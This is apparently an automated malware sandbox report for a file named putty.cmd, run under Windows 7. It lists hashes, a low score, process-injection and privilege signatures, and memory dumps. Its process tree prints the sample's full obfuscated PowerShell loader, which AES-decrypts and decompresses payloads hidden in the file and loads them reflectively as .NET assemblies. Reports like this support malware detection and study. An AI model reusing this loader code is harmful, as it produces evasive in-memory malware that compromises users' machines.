3a9a4d649cb72b41d0fe035a5d24c0c317463e019ab35fceca0d9a52c988642c

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
23-03-2024 15:30

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General

Target

putty.cmd
Size

7.4MB
MD5

606bc44bc3ce1ab5bec05a295ac81089
SHA1

d95631873a15d6bf4c031ddf70052d438f5dbd83
SHA256

3a9a4d649cb72b41d0fe035a5d24c0c317463e019ab35fceca0d9a52c988642c
SHA512

c234ea302f4c3197436beb8d21955abeb6dedf0e1439cd2330428cf40a7b21e3ef7ecd9a71823d3391b441d0b428a8e86d4606192a91db934bdf7df6982e87d0
SSDEEP

196608:l77777777777777777777777777777777777777777777777777777777777777g:u

Score

1^/10

Malware Config

Signatures

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

2368 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2368 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2368 powershell.exe

pid	process
2368	powershell.exe

pid	process
2368	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2368	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

cmd.execmd.exe

description	pid	process	target process
PID 3068 wrote to memory of 2240	3068	cmd.exe	cmd.exe
PID 3068 wrote to memory of 2240	3068	cmd.exe	cmd.exe
PID 3068 wrote to memory of 2240	3068	cmd.exe	cmd.exe
PID 2240 wrote to memory of 1880	2240	cmd.exe	cmd.exe
PID 2240 wrote to memory of 1880	2240	cmd.exe	cmd.exe
PID 2240 wrote to memory of 1880	2240	cmd.exe	cmd.exe
PID 2240 wrote to memory of 2368	2240	cmd.exe	powershell.exe
PID 2240 wrote to memory of 2368	2240	cmd.exe	powershell.exe
PID 2240 wrote to memory of 2368	2240	cmd.exe	powershell.exe
PID 2240 wrote to memory of 2368	2240	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\putty.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:3068

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\putty.cmd
2⤵
- Suspicious use of WriteProcessMemory
PID:2240

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\putty.cmd';$KUZI='EleMrJamenMrJatMrJaAtMrJa'.Replace('MrJa', ''),'SrASbplrASbitrASb'.Replace('rASb', ''),'DcxuUecocxuUmpcxuUrescxuUscxuU'.Replace('cxuU', ''),'EnzKXdtzKXdrzKXdyzKXdPoizKXdntzKXd'.Replace('zKXd', ''),'CDKRroDKRrpDKRryTDKRroDKRr'.Replace('DKRr', ''),'CremHyIatemHyIDmHyIecmHyIrmHyIymHyIpmHyItomHyIrmHyI'.Replace('mHyI', ''),'LqXKhoadqXKh'.Replace('qXKh', ''),'FibFsromibFsBibFsasibFse6ibFs4SibFstibFsriibFsngibFs'.Replace('ibFs', ''),'MIkMWaIkMWiIkMWnMIkMWodIkMWulIkMWeIkMW'.Replace('IkMW', ''),'GEhZzetEhZzCEhZzuEhZzrrEhZzeEhZzntEhZzProEhZzcesEhZzsEhZz'.Replace('EhZz', ''),'InvYoJVokYoJVeYoJV'.Replace('YoJV', ''),'ChalJqNnlJqNgelJqNElJqNxtlJqNelJqNnslJqNiolJqNnlJqN'.Replace('lJqN', ''),'ReaHsIkdLiHsIknHsIkeHsIksHsIk'.Replace('HsIk', ''),'TyKjzranyKjzsyKjzforyKjzmFyKjziyKjznayKjzlBlyKjzockyKjz'.Replace('yKjz', '');powershell -w hidden;function DzchL($QfpjG){$iBRSE=[System.Security.Cryptography.Aes]::Create();$iBRSE.Mode=[System.Security.Cryptography.CipherMode]::CBC;$iBRSE.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$iBRSE.Key=[System.Convert]::($KUZI[7])('TYzwx+VQruSBclwTSei5OE5DbGGUAEnGVbMuihV8YQU=');$iBRSE.IV=[System.Convert]::($KUZI[7])('+LTXnHvK40EXoqLlqGzCsw==');$sGXqE=$iBRSE.($KUZI[5])();$riXCa=$sGXqE.($KUZI[13])($QfpjG,0,$QfpjG.Length);$sGXqE.Dispose();$iBRSE.Dispose();$riXCa;}function bmuCI($QfpjG){$PkJst=New-Object System.IO.MemoryStream(,$QfpjG);$TpSCv=New-Object System.IO.MemoryStream;$vgnKN=New-Object System.IO.Compression.GZipStream($PkJst,[IO.Compression.CompressionMode]::($KUZI[2]));$vgnKN.($KUZI[4])($TpSCv);$vgnKN.Dispose();$PkJst.Dispose();$TpSCv.Dispose();$TpSCv.ToArray();}$nUBNG=[System.IO.File]::($KUZI[12])([Console]::Title);$aWeUY=bmuCI (DzchL ([Convert]::($KUZI[7])([System.Linq.Enumerable]::($KUZI[0])($nUBNG, 5).Substring(2))));$PFrnG=bmuCI (DzchL ([Convert]::($KUZI[7])([System.Linq.Enumerable]::($KUZI[0])($nUBNG, 6).Substring(2))));[System.Reflection.Assembly]::($KUZI[6])([byte[]]$PFrnG).($KUZI[3]).($KUZI[10])($null,$null);[System.Reflection.Assembly]::($KUZI[6])([byte[]]$aWeUY).($KUZI[3]).($KUZI[10])($null,$null); "
3⤵
PID:1880

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2368

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/2368-2-0x0000000073DF0000-0x000000007439B000-memory.dmp

Filesize
5.7MB

Download
memory/2368-3-0x0000000002CF0000-0x0000000002D30000-memory.dmp

Filesize
256KB

Download
memory/2368-4-0x0000000073DF0000-0x000000007439B000-memory.dmp

Filesize
5.7MB

Download
memory/2368-5-0x0000000002CF0000-0x0000000002D30000-memory.dmp

Filesize
256KB

Download
memory/2368-6-0x0000000073DF0000-0x000000007439B000-memory.dmp

Filesize
5.7MB

Download
memory/2368-7-0x0000000002CF0000-0x0000000002D30000-memory.dmp

Filesize
256KB

Download